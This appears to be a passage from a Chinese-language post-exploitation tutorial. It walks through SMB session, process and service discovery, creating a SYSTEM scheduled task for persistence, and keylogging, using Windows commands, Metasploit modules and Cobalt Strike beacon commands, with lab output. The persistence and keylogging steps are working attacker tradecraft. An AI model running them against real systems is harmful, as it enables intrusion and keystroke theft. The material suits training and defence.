  15.   TCP    0.0.0.0:1801           0.0.0.0:0              LISTENING       1932
  16.   TCP    0.0.0.0:2103           0.0.0.0:0              LISTENING       1932
  17.   TCP    0.0.0.0:2105           0.0.0.0:0              LISTENING       1932
  18.   TCP    0.0.0.0:2107           0.0.0.0:0              LISTENING       1932
  19.   TCP    0.0.0.0:3306           0.0.0.0:0              LISTENING       1252
  20.   TCP    192.168.2.114:139      0.0.0.0:0              LISTENING       4
  21.   TCP    192.168.2.114:1068     192.168.2.103:5555     ESTABLISHED     572
  22.   TCP    192.168.2.114:1530     192.168.2.105:139      TIME_WAIT       0
  23.   TCP    192.168.2.114:1531     192.168.2.105:139      TIME_WAIT       0
  24.   TCP    192.168.2.114:1532     120.41.45.100:80       TIME_WAIT       0
  25.   UDP    0.0.0.0:445            *:*                                    4
  26.   UDP    0.0.0.0:500            *:*                                    400
  27.   UDP    0.0.0.0:1027           *:*                                    748
  28.   UDP    0.0.0.0:1034           *:*                                    1932
  29.   UDP    0.0.0.0:3527           *:*                                    1932
  30.   UDP    0.0.0.0:4500           *:*                                    400
  31.   UDP    127.0.0.1:123          *:*                                    800
  32.   UDP    192.168.2.114:123      *:*                                    800
  33.   UDP    192.168.2.114:137      *:*                                    4
  34.   UDP    192.168.2.114:138      *:*                                    4

Display active SMB sessions(显示活动的smb会话)

terminal下操作：

net session | find / "\"

  1. PS C:\Users\Administrator\Desktop\powrshell> net session | find / "\\"
  2. FIND: 无效的开关

msf下操作：

post/windows/gather/enum_logged_on_users

  1. msf5 post(windows/gather/tcpnetstat) > use post/windows/gather/enum_logged_on_users
  2. msf5 post(windows/gather/enum_logged_on_users) > show options 
  4. Module options (post/windows/gather/enum_logged_on_users):
  6.    Name     Current Setting  Required  Description
  7.    ----     ---------------  --------  -----------
  8.    CURRENT  true             yes       Enumerate currently logged on users
  9.    RECENT   true             yes       Enumerate Recently logged on users
  10.    SESSION                   yes       The session to run this module on.
  12. msf5 post(windows/gather/enum_logged_on_users) > set session 1
  13. session => 1
  14. msf5 post(windows/gather/enum_logged_on_users) > exploit 
  16. [*] Running against session 1
  18. Current Logged Users
  19. ====================
  21.  SID                                            User
  22.  ---                                            ----
  23.  S-1-5-21-1911985068-4225083820-4011728908-500  ROOT-5DE52AC98B\Administrator
  26. [+] Results saved in: /root/.msf4/loot/20190907124429_default_192.168.2.114_host.users.activ_626805.txt
  28. Recently Logged Users
  29. =====================
  31.  SID                                            Profile Path
  32.  ---                                            ------------
  33.  S-1-5-18                                       %systemroot%\system32\config\systemprofile
  34.  S-1-5-19                                       %SystemDrive%\Documents and Settings\LocalService
  35.  S-1-5-20                                       %SystemDrive%\Documents and Settings\NetworkService
  36.  S-1-5-21-1911985068-4225083820-4011728908-500  %SystemDrive%\Documents and Settings\Administrator
  39. [*] Post module execution completed

cs下操作：

shell net session | find / "\"

  1. beacon> shell net session | find / "\\"
  2. [*] Tasked beacon to run: net session | find / "\\"

Scheduled Task(计划任务)

原理：

  1. Utilities such as at and schtasks, along with the Windows Task Scheduler, can be used to schedule programs or scripts to be executed at a date and time. A task can also be scheduled on a remote system, provided the proper authentication is met to use RPC and file and printer sharing is turned on. Scheduling a task on a remote system typically required being a member of the Administrators group on the the remote system. [1]
  3. An adversary may use task scheduling to execute programs at system startup or on a scheduled basis for persistence, to conduct remote Execution as part of Lateral Movement, to gain SYSTEM privileges, or to run a process under the context of a specified account.
  5. 主要就是使用at或者sc命令去启动一个程序，不过需要满足使用RPC的适当身份验证

Display all currently scheduled tasks（显示所有的计划任务）

terminal下操作：

schtasks [/s HOSTNAME]

  1. PS C:\Users\Administrator\Desktop\powrshell> schtasks
  3. 文件夹: \
  4. 任务名                                   下次运行时间           模式
  5. ======================================== ====================== ===============
  6. 信息: 目前在你的访问级别上不存在任何可用的计划任务。
  8. 文件夹: \Microsoft
  9. 任务名                                   下次运行时间           模式
  10. ======================================== ====================== ===============
  11. 信息: 目前在你的访问级别上不存在任何可用的计划任务。
  13. 文件夹: \Microsoft\Windows
  14. 任务名                                   下次运行时间           模式
  15. ======================================== ====================== ===============
  16. 信息: 目前在你的访问级别上不存在任何可用的计划任务。
  18. 文件夹: \Microsoft\Windows\.NET Framework

cs下操作：

shell schtasks

  1. beacon> shell schtasks
  2. [*] Tasked beacon to run: schtasks
  3. [+] host called home, sent: 39 bytes
  4. [+] received output:
  5. 信息: 系统里没有计划任务。

Create a scheduled task(创建一个计划任务)

terminal下操作：

  1. schtasks [/S HOSTNAME] /create /tn "acachesrv" /tr C:\file\path\here.exe /sc ONLOGON /ru "System" [/rp password]
  2. Requirements for running scheduled tasks:
  3. net start schedule
  4. sc config schedule start= auto
  1. PS C:\Users\Administrator\Desktop\powrshell> net start schedule
  2. 请求的服务已经启动。
  4. 请键入 NET HELPMSG 2182 以获得更多的帮助。
  6. PS C:\Users\Administrator\Desktop\powrshell> schtasks /create /tn "acachesrv" /tr C:\file\path\here.exe /sc ONLOGON /ru
  7. "System"
  9. 成功: 成功创建计划任务 "acachesrv"。

cs下操作：

  1. shell schtasks [/S HOSTNAME] /create /tn "acachesrv" /tr C:\file\path\here.exe /sc ONLOGON /ru "System" [/rp password]
  2. Requirements for running scheduled tasks:
  3. shell net start schedule
  4. shell sc config schedule start= auto

Input Capture（输入捕捉（键盘记录））

Start a keylogger（开始键盘记录）

msf下操作：

starting the keylogger:

keyscan_start

when you're ready to get the logs:

keyscan_dump

when you're done keylogging:

keyscan_stop

  1. meterpreter > keyscan_start 
  2. Starting the keystroke sniffer ...
  3. meterpreter > keyscan_dump 
  4. Dumping captured keystrokes...
  5. 1513215212
  7. meterpreter > keyscan_stop 
  8. Stopping the keystroke sniffer...

cs下操作：

keylogger 1320 x86(进程名、系统版本)

  1. beacon> keylogger 1200 x86
  2. [*] Tasked beacon to log keystrokes in 1200 (x86)
  3. [+] host called home, sent: 65610 bytes
  4. [-] could not open process 1200: 5
  5. [-] Could not connect to pipe: 2
  6. [+] received keystrokes
  7. [+] received keystrokes
  8. beacon> keylogger 1328 null
  9. [*] Tasked beacon to log keystrokes in 1328 (null)
  10. [+] host called home, sent: 65610 bytes
  11. [-] could not open process 1328: 5
  12. [-] Could not connect to pipe: 2
  13. [+] received keystrokes

Process Discovery(进程获取)

Enumerate running processes（枚举运行的进程）

terminal下操作：

tasklist /v [/svc]

net start

qprocess *

  1. PS C:\Users\Administrator\Desktop\powrshell> tasklist /svc
  3. 映像名称                       PID 服务
  4. ========================= ======== ============================================
  5. System Idle Process              0 暂缺
  6. System                           4 暂缺
  7. Registry                        88 暂缺
  8. smss.exe                       296 暂缺
  9. csrss.exe                      396 暂缺
  10. wininit.exe                    496 暂缺
  11. csrss.exe                      508 暂缺
  12. winlogon.exe                   588 暂缺
  13. services.exe                   604 暂缺
  14. lsass.exe                      632 KeyIso, SamSs
  15. svchost.exe                    732 BrokerInfrastructure, DcomLaunch, Power,
  16.                                    SystemEventsBroker
  17. fontdrvhost.exe                744 暂缺
  18. fontdrvhost.exe                812 暂缺
  19. svchost.exe                    860 RpcEptMapper, RpcSs
  20. svchost.exe                    904 LSM
  21. dwm.exe                       1000 暂缺
  22. svchost.exe                    376 TermService
  23. svchost.exe                    656 CoreMessagingRegistrar
  24. svchost.exe                    808 lmhosts
  25. svchost.exe                   1120 NcbService
  26. svchost.exe                   1136 Schedule
  27. svchost.exe                   1176 ProfSvc
  28. svchost.exe                   1248 EventLog
  29. svchost.exe                   1300 UserManager
  30. svchost.exe                   1332 nsi
  31. svchost.exe                   1348 UmRdpService
  32. svchost.exe                   1420 TimeBrokerSvc
  33. svchost.exe                   1444 Dhcp
  34. svchost.exe                   1512 CertPropSvc
  35. svchost.exe                   1548 EventSystem
  36. svchost.exe                   1580 SysMain
  37. svchost.exe                   1616 Themes
  38. Memory Compression            1716 暂缺
  39. WUDFHost.exe                  1736 暂缺
  40. svchost.exe                   1792 LanmanWorkstation
  41. svchost.exe                   1812 SENS
  42. svchost.exe                   1844 NlaSvc
  43. svchost.exe                   1892 AudioEndpointBuilder
  44. svchost.exe                   1916 FontCache
  45. svchost.exe                   2028 SessionEnv
  46. svchost.exe                   2036 Audiosrv
  47. svchost.exe                   2064 netprofm
  48. svchost.exe                   2204 Dnscache
  49. svchost.exe                   2220 DusmSvc
  50. svchost.exe                   2240 Wcmsvc
  51. svchost.exe                   2276 StateRepository
  52. svchost.exe                   2504 WlanSvc
  53. svchost.exe                   2544 ShellHWDetection
  54. spoolsv.exe                   2612 Spooler
  55. svchost.exe                   2648 BFE, mpssvc
  56. svchost.exe                   2772 IKEEXT
  57. svchost.exe                   2784 PolicyAgent
  58. wvs_supervisor.exe            2844 Acunetix
  59. pg_ctl.exe                    2852 Acunetix Database
  60. svchost.exe                   2860 CryptSvc
  61. svchost.exe                   2884 DPS
  62. FNPLicensingService.exe       2900 FlexNet Licensing Service
  63. svchost.exe                   2928 Winmgmt
  64. svchost.exe                   2988 LPDSVC
  65. svchost.exe                   3016 LanmanServer
  66. svchost.exe                   1656 SstpSvc
  67. vmtoolsd.exe                  2364 VMTools
  68. svchost.exe                   2312 TrkWks
  69. sv_service.exe                 236 VOneMgrSvcForNG
  70. svchost.exe                   2740 WpnService
  71. svchost.exe                   3236 WdiServiceHost
  72. svchost.exe                   3260 iphlpsvc
  73. opsrv.exe                     3416 暂缺
  74. svchost.exe                   3448 RasMan
  75. postgres.exe                  3456 暂缺
  76. conhost.exe                   3464 暂缺
  77. conhost.exe                   3516 暂缺
  78. dllhost.exe                   3976 COMSysApp
  79. postgres.exe                   644 暂缺
  80. postgres.exe                  2892 暂缺
  81. postgres.exe                   660 暂缺
  82. postgres.exe                  2920 暂缺
  83. postgres.exe                  2880 暂缺
  84. msdtc.exe                     4256 MSDTC
  85. svchost.exe                   4972 CDPUserSvc_56a0b
  86. sihost.exe                    4988 暂缺
  87. svchost.exe                   5012 WpnUserService_56a0b
  88. taskhostw.exe                 5088 暂缺
  89. svchost.exe                   5116 TokenBroker
  90. svchost.exe                   4452 TabletInputService
  91. svchost.exe                     64 CDPSvc
  92. ctfmon.exe                    4732 暂缺
  93. svchost.exe                   1904 PcaSvc
  94. explorer.exe                  5188 暂缺
  95. svchost.exe                   5616 cbdhsvc_56a0b
  96. sv_websvr.exe                 5712 暂缺
  97. ShellExperienceHost.exe       5844 暂缺
  98. RuntimeBroker.exe             6016 暂缺
  99. WindowsInternal.Composabl     5184 暂缺
  100. vmtoolsd.exe                  4816 暂缺
  101. jusched.exe                    328 暂缺
  102. AttackView.exe                5992 暂缺
  103. svchost.exe                   2268 SSDPSRV
  104. powershell.exe                1272 暂缺
  105. conhost.exe                   3816 暂缺
  106. svchost.exe                   4400 LicenseManager
  107. svchost.exe                   4548 DsSvc
  108. svchost.exe                   2228 StorSvc
  109. WmiPrvSE.exe                  3944 暂缺
  110. postgres.exe                  1364 暂缺
  111. postgres.exe                  4520 暂缺
  112. postgres.exe                  4488 暂缺
  113. postgres.exe                  3392 暂缺
  114. svchost.exe                   2212 BITS
  115. svchost.exe                   4656 WinHttpAutoProxySvc
  116. WmiPrvSE.exe                  6588 暂缺
  117. tasklist.exe                  6920 暂缺
  119. PS C:\Users\Administrator\Desktop\powrshell> net start
  120. 已经启动以下 Windows 服务:
  122.    Acunetix
  123.    Acunetix Database
  124.    Background Tasks Infrastructure Service
  125.    Base Filtering Engine
  126.    Certificate Propagation
  127.    CNG Key Isolation
  128.    COM+ Event System
  129.    COM+ System Application
  130.    CoreMessaging
  131.    Cryptographic Services
  132.    Data Sharing Service
  133.    DCOM Server Process Launcher
  134.    DHCP Client
  135.    Diagnostic Policy Service
  136.    Diagnostic Service Host
  137.    Distributed Link Tracking Client
  138.    Distributed Transaction Coordinator
  139.    DNS Client
  140.    FlexNet Licensing Service
  141.    IKE and AuthIP IPsec Keying Modules
  142.    IP Helper
  143.    IPsec Policy Agent
  144.    Local Session Manager
  145.    LPD Service
  146.    Network Connection Broker
  147.    Network List Service
  148.    Network Location Awareness
  149.    Network Store Interface Service
  150.    Power
  151.    Print Spooler
  152.    Program Compatibility Assistant Service
  153.    Remote Access Connection Manager
  154.    Remote Desktop Configuration
  155.    Remote Desktop Services
  156.    Remote Desktop Services UserMode Port Redirector
  157.    Remote Procedure Call (RPC)
  158.    RPC Endpoint Mapper
  159.    Secure Socket Tunneling Protocol Service
  160.    Security Accounts Manager
  161.    Server
  162.    Shell Hardware Detection
  163.    SSDP Discovery
  164.    SSL VPN Management Service Program For NG
  165.    State Repository Service
  166.    Storage Service
  167.    SysMain
  168.    System Event Notification Service
  169.    System Events Broker
  170.    Task Scheduler
  171.    TCP/IP NetBIOS Helper
  172.    Themes
  173.    Time Broker
  174.    Touch Keyboard and Handwriting Panel Service
  175.    User Manager
  176.    User Profile Service
  177.    VMware Tools
  178.    Web 帐户管理器
  179.    Windows Audio
  180.    Windows Audio Endpoint Builder
  181.    Windows Connection Manager
  182.    Windows Defender Firewall
  183.    Windows Event Log
  184.    Windows Font Cache Service
  185.    Windows Management Instrumentation
  186.    Windows Push Notifications User Service_56a0b
  187.    Windows 推送通知系统服务
  188.    Windows 许可证管理器服务
  189.    WinHTTP Web Proxy Auto-Discovery Service
  190.    WLAN AutoConfig
  191.    Workstation
  192.    剪贴板用户服务_56a0b
  193.    数据使用量
  194.    连接设备平台服务
  195.    连接设备平台用户服务_56a0b
  197. 命令成功完成。
  200. PS C:\Users\Administrator\Desktop\powrshell> qprocess *
  201.  用户名                会话名              ID    PID  映像
  202.  (未知)                services             0      0
  203.  (未知)                services             0      4  system
  204.  system                services             0     88  registry
  205.  system                services             0    296  smss.exe
  206.  system                services             0    396  csrss.exe
  207.  system                services             0    496  wininit.exe
  208. >system                console              1    508  csrss.exe
  209. >system                console              1    588  winlogon.exe
  210.  system                services             0    604  services.exe
  211.  system                services             0    632  lsass.exe
  212.  system                services             0    732  svchost.exe
  213.  umfd-0                services             0    744  fontdrvhost.ex
  214. >umfd-1                console              1    812  fontdrvhost.ex
  215.  network service       services             0    860  svchost.exe
  216.  system                services             0    904  svchost.exe
  217. >dwm-1                 console              1   1000  dwm.exe
  218.  network service       services             0    376  svchost.exe
  219.  local service         services             0    656  svchost.exe
  220.  local service         services             0    808  svchost.exe
  221.  system                services             0   1120  svchost.exe
  222.  system                services             0   1136  svchost.exe
  223.  system                services             0   1176  svchost.exe
  224.  local service         services             0   1248  svchost.exe
  225.  system                services             0   1300  svchost.exe
  226.  local service         services             0   1332  svchost.exe
  227.  system                services             0   1348  svchost.exe
  228.  local service         services             0   1420  svchost.exe
  229.  local service         services             0   1444  svchost.exe
  230.  system                services             0   1512  svchost.exe
  231.  local service         services             0   1548  svchost.exe
  232.  system                services             0   1580  svchost.exe
  233.  system                services             0   1616  svchost.exe
  234.  system                services             0   1716  memory compr..
  235.  local service         services             0   1736  wudfhost.exe
  236.  network service       services             0   1792  svchost.exe
  237.  system                services             0   1812  svchost.exe
  238.  network service       services             0   1844  svchost.exe
  239.  system                services             0   1892  svchost.exe
  240.  local service         services             0   1916  svchost.exe
  241.  system                services             0   2028  svchost.exe
  242.  local service         services             0   2036  svchost.exe
  243.  local service         services             0   2064  svchost.exe
  244.  network service       services             0   2204  svchost.exe
  245.  local service         services             0   2220  svchost.exe
  246.  local service         services             0   2240  svchost.exe
  247.  system                services             0   2276  svchost.exe
  248.  system                services             0   2504  svchost.exe
  249.  system                services             0   2544  svchost.exe
  250.  system                services             0   2612  spoolsv.exe
  251.  local service         services             0   2648  svchost.exe
  252.  system                services             0   2772  svchost.exe
  253.  network service       services             0   2784  svchost.exe
  254.  system                services             0   2844  wvs_supervis..
  255.  local service         services             0   2852  pg_ctl.exe
  256.  network service       services             0   2860  svchost.exe
  257.  local service         services             0   2884  svchost.exe
  258.  system                services             0   2900  fnplicensing..
  259.  system                services             0   2928  svchost.exe
  260.  system                services             0   2988  svchost.exe
  261.  system                services             0   3016  svchost.exe
  262.  local service         services             0   1656  svchost.exe
  263.  system                services             0   2364  vmtoolsd.exe
  264.  system                services             0   2312  svchost.exe
  265.  system                services             0    236  sv_service.exe
  266.  system                services             0   2740  svchost.exe
  267.  local service         services             0   3236  svchost.exe
  268.  system                services             0   3260  svchost.exe
  269.  system                services             0   3416  opsrv.exe
  270.  system                services             0   3448  svchost.exe
  271.  local service         services             0   3456  postgres.exe
  272.  system                services             0   3464  conhost.exe
  273.  local service         services             0   3516  conhost.exe
  274.  system                services             0   3976  dllhost.exe
  275.  local service         services             0    644  postgres.exe
  276.  local service         services             0   2892  postgres.exe
  277.  local service         services             0    660  postgres.exe
  278.  local service         services             0   2920  postgres.exe
  279.  local service         services             0   2880  postgres.exe
  280.  network service       services             0   4256  msdtc.exe
  281. >administrator         console              1   4972  svchost.exe
  282. >administrator         console              1   4988  sihost.exe
  283. >administrator         console              1   5012  svchost.exe
  284. >administrator         console              1   5088  taskhostw.exe
  285.  system                services             0   5116  svchost.exe
  286.  system                services             0   4452  svchost.exe
  287.  local service         services             0     64  svchost.exe
  288. >administrator         console              1   4732  ctfmon.exe
  289.  system                services             0   1904  svchost.exe
  290. >administrator         console              1   5188  explorer.exe
  291. >administrator         console              1   5616  svchost.exe
  292. >administrator         console              1   5712  sv_websvr.exe
  293. >administrator         console              1   5844  shellexperie..
  294. >administrator         console              1   6016  runtimebroke..
  295. >administrator         console              1   5184  windowsinter..
  296. >administrator         console              1   4816  vmtoolsd.exe
  297. >administrator         console              1   5992  attackview.exe
  298.  local service         services             0   2268  svchost.exe
  299. >administrator         console              1   1272  powershell.exe
  300. >administrator         console              1   3816  conhost.exe
  301.  local service         services             0   4400  svchost.exe
  302.  system                services             0   4548  svchost.exe
  303.  system                services             0   2228  svchost.exe
  304.  system                services             0   3944  wmiprvse.exe
  305.  local service         services             0   1364  postgres.exe
  306.  local service         services             0   4520  postgres.exe
  307.  local service         services             0   4488  postgres.exe
  308.  local service         services             0   3392  postgres.exe
  309.  local service         services             0   4656  svchost.exe
  310.  network service       services             0   6588  wmiprvse.exe
  311.  local service         services             0   2528  audiodg.exe
  312. >administrator         console              1    260  qprocess.exe

msf下操作：

ps

post/windows/gather/enum_services

  1. meterpreter > ps
  3. Process List
  4. ============
  6.  PID   PPID  Name                     Arch  Session  User                           Path
  7.  ---   ----  ----                     ----  -------  ----                           ----
  8.  0     0     [System Process]                                                       
  9.  4     0     System                   x86   0                                       
  10.  264   4     smss.exe                 x86   0        NT AUTHORITY\SYSTEM            \SystemRoot\System32\smss.exe
  11.  312   264   csrss.exe                x86   0        NT AUTHORITY\SYSTEM            \??\C:\WINDOWS\system32\csrss.exe
  12.  340   264   winlogon.exe             x86   0        NT AUTHORITY\SYSTEM            \??\C:\WINDOWS\system32\winlogon.exe
  13.  388   340   services.exe             x86   0        NT AUTHORITY\SYSTEM            C:\WINDOWS\system32\services.exe
  14.  400   340   lsass.exe                x86   0        NT AUTHORITY\SYSTEM            C:\WINDOWS\system32\lsass.exe
  15.  572   1436  payload1.exe             x86   0        ROOT-5DE52AC98B\Administrator  C:\Documents and Settings\Administrator\����\payload1.exe
  16.  592   388   vmacthlp.exe             x86   0        NT AUTHORITY\SYSTEM            C:\Program Files\VMware\VMware Tools\vmacthlp.exe
  17.  608   388   svchost.exe              x86   0        NT AUTHORITY\SYSTEM            C:\WINDOWS\system32\svchost.exe
  18.  688   388   svchost.exe              x86   0                                       C:\WINDOWS\system32\svchost.exe
  19.  748   388   svchost.exe              x86   0                                       C:\WINDOWS\system32\svchost.exe
  20.  800   388   svchost.exe              x86   0                                       C:\WINDOWS\system32\svchost.exe
  21.  816   388   svchost.exe              x86   0        NT AUTHORITY\SYSTEM            C:\WINDOWS\System32\svchost.exe
  22.  912   3424  TPAutoConnect.exe        x86   0        ROOT-5DE52AC98B\Administrator  C:\Program Files\VMware\VMware Tools\TPAutoConnect.exe
  23.  956   388   spoolsv.exe              x86   0        NT AUTHORITY\SYSTEM            C:\WINDOWS\system32\spoolsv.exe
  24.  984   388   msdtc.exe                x86   0                                       C:\WINDOWS\system32\msdtc.exe
  25.  1100  388   httpd.exe                x86   0        NT AUTHORITY\SYSTEM            C:\phpStudy\PHPTutorial\Apache\bin\httpd.exe
  26.  1144  388   svchost.exe              x86   0        NT AUTHORITY\SYSTEM            C:\WINDOWS\System32\svchost.exe
  27.  1200  388   inetinfo.exe             x86   0        NT AUTHORITY\SYSTEM            C:\WINDOWS\system32\inetsrv\inetinfo.exe
  28.  1228  388   mysqld.exe               x86   0        NT AUTHORITY\SYSTEM            C:\phpStudy\PHPTutorial\MySQL\bin\mysqld.exe
  29.  1252  388   mysqld.exe               x86   0        NT AUTHORITY\SYSTEM            C:\phpStudy\PHPTutorial\MySQL\bin\mysqld.exe
  30.  1320  168   conime.exe               x86   0        ROOT-5DE52AC98B\Administrator  C:\WINDOWS\system32\conime.exe
  31.  1328  388   svchost.exe              x86   0                                       C:\WINDOWS\system32\svchost.exe
  32.  1348  3424  TPAutoConnect.exe        x86   0        ROOT-5DE52AC98B\Administrator  C:\Program Files\VMware\VMware Tools\TPAutoConnect.exe
  33.  1352  388   SafeDogUpdateCenter.exe  x86   0        NT AUTHORITY\SYSTEM            C:\Program Files\SafeDog\SafeDogUpdateCenter\SafeDogUpdateCenter.exe
  34.  1436  1168  explorer.exe             x86   0        ROOT-5DE52AC98B\Administrator  C:\WINDOWS\Explorer.EXE
  35.  1440  388   CloudHelper.exe          x86   0        NT AUTHORITY\SYSTEM            C:\Program Files\SafeDog\SafeDogUpdateCenter\CloudHelper.exe
  36.  1468  1436  ctfmon.exe               x86   0        ROOT-5DE52AC98B\Administrator  C:\WINDOWS\system32\ctfmon.exe
  37.  1804  388   VGAuthService.exe        x86   0        NT AUTHORITY\SYSTEM            C:\Program Files\VMware\VMware Tools\VMware VGAuth\VGAuthService.exe
  38.  1856  388   vmtoolsd.exe             x86   0        NT AUTHORITY\SYSTEM            C:\Program Files\VMware\VMware Tools\vmtoolsd.exe
  39.  1932  388   mqsvc.exe                x86   0        NT AUTHORITY\SYSTEM            C:\WINDOWS\system32\mqsvc.exe
  40.  2072  388   svchost.exe              x86   0        NT AUTHORITY\SYSTEM            C:\WINDOWS\System32\svchost.exe
  41.  2248  1100  httpd.exe                x86   0        NT AUTHORITY\SYSTEM            C:\phpStudy\PHPTutorial\Apache\bin\httpd.exe
  42.  2264  1436  vmtoolsd.exe             x86   0        ROOT-5DE52AC98B\Administrator  C:\Program Files\VMware\VMware Tools\vmtoolsd.exe
  43.  2904  608   wmiprvse.exe             x86   0                                       C:\WINDOWS\system32\wbem\wmiprvse.exe
  44.  3196  608   wmiprvse.exe             x86   0        NT AUTHORITY\SYSTEM            C:\WINDOWS\system32\wbem\wmiprvse.exe
  45.  3368  388   svchost.exe              x86   0        NT AUTHORITY\SYSTEM            C:\WINDOWS\System32\svchost.exe
  46.  3408  1436  artifact.exe             x86   0        ROOT-5DE52AC98B\Administrator  C:\Documents and Settings\Administrator\����\artifact.exe
  47.  3424  388   TPAutoConnSvc.exe        x86   0        NT AUTHORITY\SYSTEM            C:\Program Files\VMware\VMware Tools\TPAutoConnSvc.exe
  48.  3520  388   dllhost.exe              x86   0        NT AUTHORITY\SYSTEM            C:\WINDOWS\system32\dllhost.exe
  49.  3600  1436  artifact.exe             x86   0        ROOT-5DE52AC98B\Administrator  C:\Documents and Settings\Administrator\����\artifact.exe
  50.  3876  340   logon.scr                x86   0        ROOT-5DE52AC98B\Administrator  C:\WINDOWS\System32\logon.scr
  52. msf5 post(windows/gather/enum_logged_on_users) > use post/windows/gather/enum_services 
  53. msf5 post(windows/gather/enum_services) > set session 1
  54. session => 1
  55. msf5 post(windows/gather/enum_services) > exploit 
  57. [*] Listing Service Info for matching services, please wait...
  58. [+] New service credential detected: AeLookupSvc is running as 'LocalSystem'
  59. [+] New service credential detected: Alerter is running as 'NT AUTHORITY\LocalService'
  60. [+] New service credential detected: aspnet_state is running as 'NT AUTHORITY\NetworkService'
  61. Services
  62. ========
  64.  Name                                 Credentials                  Command   Startup
  65.  ----                                 -----------                  -------   -------
  66.  ALG                                  NT AUTHORITY\LocalService    Manual    C:\WINDOWS\System32\alg.exe
  67.  AeLookupSvc                          LocalSystem                  Auto      C:\WINDOWS\system32\svchost.exe -k netsvcs
  68.  Alerter                              NT AUTHORITY\LocalService    Disabled  C:\WINDOWS\system32\svchost.exe -k LocalService
  69.  Apache2                              LocalSystem                  Auto      "C:\phpstudy0\Apache\bin\httpd.exe" -k runservice
  70.  AppMgmt                              LocalSystem                  Manual    C:\WINDOWS\system32\svchost.exe -k netsvcs
  71.  AudioSrv                             LocalSystem                  Disabled  C:\WINDOWS\System32\svchost.exe -k netsvcs
  72.  BITS                                 LocalSystem                  Manual    C:\WINDOWS\system32\svchost.exe -k netsvcs
  73.  Browser                              LocalSystem                  Auto      C:\WINDOWS\system32\svchost.exe -k netsvcs
  74.  COMSysApp                            LocalSystem                  Manual    C:\WINDOWS\system32\dllhost.exe /Processid:{02D4B3F1-FD88-11D1-960D-00805FC79235}
  75.  CiSvc                                LocalSystem                  Disabled  C:\WINDOWS\system32\cisvc.exe
  76.  ClipSrv                              LocalSystem                  Disabled  C:\WINDOWS\system32\clipsrv.exe
  77.  CryptSvc                             LocalSystem                  Auto      C:\WINDOWS\system32\svchost.exe -k netsvcs
  78.  DcomLaunch                           LocalSystem                  Auto      C:\WINDOWS\system32\svchost.exe -k DcomLaunch
  79.  Dfs                                  LocalSystem                  Manual    C:\WINDOWS\system32\Dfssvc.exe
  80.  Dhcp                                 NT AUTHORITY\NetworkService  Auto      C:\WINDOWS\system32\svchost.exe -k NetworkService
  81.  Dnscache                             NT AUTHORITY\NetworkService  Auto      C:\WINDOWS\system32\svchost.exe -k NetworkService
  82.  ERSvc                                LocalSystem                  Auto      C:\WINDOWS\System32\svchost.exe -k WinErr
  83.  EventSystem                          LocalSystem                  Auto      C:\WINDOWS\system32\svchost.exe -k netsvcs
  84.  Eventlog                             LocalSystem                  Auto      C:\WINDOWS\system32\services.exe
  85.  HTTPFilter                           LocalSystem                  Manual    C:\WINDOWS\system32\lsass.exe
  86.  HidServ                              LocalSystem                  Disabled  C:\WINDOWS\System32\svchost.exe -k netsvcs
  87.  IISADMIN                             LocalSystem                  Auto      C:\WINDOWS\system32\inetsrv\inetinfo.exe
  88.  ImapiService                         LocalSystem                  Disabled  C:\WINDOWS\system32\imapi.exe
  89.  IsmServ                              LocalSystem                  Disabled  C:\WINDOWS\System32\ismserv.exe
  90.  LicenseService                       NT AUTHORITY\NetworkService  Disabled  C:\WINDOWS\System32\llssrv.exe
  91.  LmHosts                              NT AUTHORITY\LocalService    Auto      C:\WINDOWS\system32\svchost.exe -k LocalService
  92.  MSDTC                                NT AUTHORITY\NetworkService  Auto      C:\WINDOWS\system32\msdtc.exe
  93.  MSIServer                            LocalSystem                  Manual    C:\WINDOWS\system32\msiexec.exe /V
  94.  MSMQ                                 LocalSystem                  Auto      C:\WINDOWS\system32\mqsvc.exe
  95.  Messenger                            LocalSystem                  Disabled  C:\WINDOWS\system32\svchost.exe -k netsvcs
  96.  MySQL                                LocalSystem                  Auto      C:\phpStudy\PHPTutorial\MySQL\bin\mysqld.exe MySQL
  97.  MySQLa                               LocalSystem                  Auto      C:\phpStudy\PHPTutorial\MySQL\bin\mysqld.exe MySQLa
  98.  NetDDE                               LocalSystem                  Disabled  C:\WINDOWS\system32\netdde.exe
  99.  NetDDEdsdm                           LocalSystem                  Disabled  C:\WINDOWS\system32\netdde.exe
  100.  Netlogon                             LocalSystem                  Manual    C:\WINDOWS\system32\lsass.exe
  101.  Netman                               LocalSystem                  Manual    C:\WINDOWS\System32\svchost.exe -k netsvcs
  102.  Nla                                  LocalSystem                  Manual    C:\WINDOWS\system32\svchost.exe -k netsvcs
  103.  NtFrs                                LocalSystem                  Manual    C:\WINDOWS\system32\ntfrs.exe
  104.  NtLmSsp                              LocalSystem                  Manual    C:\WINDOWS\system32\lsass.exe
  105.  NtmsSvc                              LocalSystem                  Manual    C:\WINDOWS\system32\svchost.exe -k netsvcs
  106.  PlugPlay                             LocalSystem                  Auto      C:\WINDOWS\system32\services.exe
  107.  PolicyAgent                          LocalSystem                  Auto      C:\WINDOWS\system32\lsass.exe
  108.  ProtectedStorage                     LocalSystem                  Auto      C:\WINDOWS\system32\lsass.exe
  109.  RDSessMgr                            LocalSystem                  Manual    C:\WINDOWS\system32\sessmgr.exe
  110.  RSoPProv                             LocalSystem                  Manual    C:\WINDOWS\system32\RSoPProv.exe
  111.  RasAuto                              LocalSystem                  Manual    C:\WINDOWS\system32\svchost.exe -k netsvcs
  112.  RasMan                               LocalSystem                  Manual    C:\WINDOWS\system32\svchost.exe -k netsvcs
  113.  RemoteAccess                         LocalSystem                  Disabled  C:\WINDOWS\system32\svchost.exe -k netsvcs
  114.  RemoteRegistry                       NT AUTHORITY\LocalService    Auto      C:\WINDOWS\system32\svchost.exe -k regsvc
  115.  RpcLocator                           NT AUTHORITY\NetworkService  Manual    C:\WINDOWS\system32\locator.exe
  116.  RpcSs                                NT AUTHORITY\NetworkService  Auto      C:\WINDOWS\system32\svchost.exe -k rpcss
  117.  SCardSvr                             NT AUTHORITY\LocalService    Manual    C:\WINDOWS\System32\SCardSvr.exe
  118.  SENS                                 LocalSystem                  Auto      C:\WINDOWS\system32\svchost.exe -k netsvcs
  119.  SafeDogCloudHelper                   LocalSystem                  Auto      "C:\Program Files\SafeDog\SafeDogUpdateCenter\CloudHelper.exe"
  120.  Safedog Update Center                LocalSystem                  Auto      "C:\Program Files\SafeDog\SafeDogUpdateCenter\SafeDogUpdateCenter.exe"
  121.  SamSs                                LocalSystem                  Auto      C:\WINDOWS\system32\lsass.exe
